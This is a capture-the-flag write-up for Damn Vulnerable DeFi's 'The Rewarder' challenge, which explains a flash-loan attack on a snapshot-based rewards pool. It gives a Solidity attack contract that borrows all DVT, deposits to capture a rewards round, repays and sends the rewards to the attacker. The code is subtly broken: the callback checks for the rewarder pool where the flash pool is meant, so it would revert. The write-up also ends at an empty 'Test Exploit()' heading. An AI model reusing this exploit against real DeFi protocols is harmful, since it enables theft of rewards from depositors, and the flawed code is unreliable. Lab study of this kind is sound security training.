5. The Rewarder
https://www.damnvulnerabledefi.xyz/challenges/the-rewarder/
Objective
There’s a pool offering rewards in tokens every 5 days for those who deposit their DVT tokens into it.
Alice, Bob, Charlie and David have already deposited some DVT tokens, and have won their rewards!
You don’t have any DVT tokens. But in the upcoming round, you must claim most rewards for yourself.
By the way, rumours say a new pool has just launched. Isn’t it offering flash loans of DVT tokens?
Approach
Let us examine the deposit() on Rewards Pool contract.

mints accounting tokens in a 1:1 ratio against the DVT tokens deposited
calls distributeRewards()
distributeRewards()

checks if its time for a new round of rewards distribution: isNewRewardsRound()
rewards are distributed in 5 day intervals from the
lastRecordedSnapshotTimestamp
if it is indeed time for a new rewards round, _recordSnapshot() is executed
increments
lastSnapshotIdForRewards
updates the timestamp on
lastRecordedSnapshotTimestamp
increments
roundNumber
checks current totalDeposits and amountDeposited by the uer
if both are non-zero positive values, calculate rewards earned by user
rewards awarded are based on the percentage of contribution
if rewards > 0, mint reward tokens to the user, and record the timestamp into the mapping
lastRewardTimestamps
Attack vector
take a flash loan from the flashpool,
deposit into rewards pool during an eligible rewards round
return flash loan
Solution
create a new contract for the attack:
// SPDX-License-Identifier: MIT
pragma solidity >=0.8.0;
import {TheRewarderPool} from "../../../src/Contracts/the-rewarder/TheRewarderPool.sol";
import {DamnValuableToken} from "../DamnValuableToken.sol";
import {FlashLoanerPool} from "../../../src/Contracts/the-rewarder/FlashLoanerPool.sol";
import {RewardToken} from "./RewardToken.sol";
contract Attack {
TheRewarderPool public rewarderPool;
DamnValuableToken public dvt;
FlashLoanerPool public flashPool;
RewardToken public rewardToken;
address public owner;
constructor(TheRewarderPool rewarderPool_, DamnValuableToken dvt_, FlashLoanerPool flashPool_,RewardToken rewardToken_){
rewarderPool = rewarderPool_;
dvt = dvt_;
flashPool = flashPool_;
rewardToken = rewardToken_;
owner = msg.sender;
}
///@notice take the largest possible flashloan
function attack() external {
require(owner == msg.sender, "only owner");
uint256 dvtAvailable = dvt.balanceOf(address(flashPool));
flashPool.flashLoan(dvtAvailable);
}
///@notice done on new round of rewards
function receiveFlashLoan(uint256 amount) external {
require(address(rewarderPool) == msg.sender, "only flashPool");
dvt.approve(address(rewarderPool), amount);
rewarderPool.deposit(amount);
// return borrowed tokens to flashPool
rewarderPool.withdraw(amount);
bool success = dvt.transfer(address(flashPool), amount);
require(success, "fLoan not returned");
// transfer reward tokens to attacker wallet
uint256 rewards = rewardToken.balanceOf(address(this));
bool sent = rewardToken.transfer(owner, rewards);
require(sent, "rewards not sent");
}
}
Test Exploit()

Last updated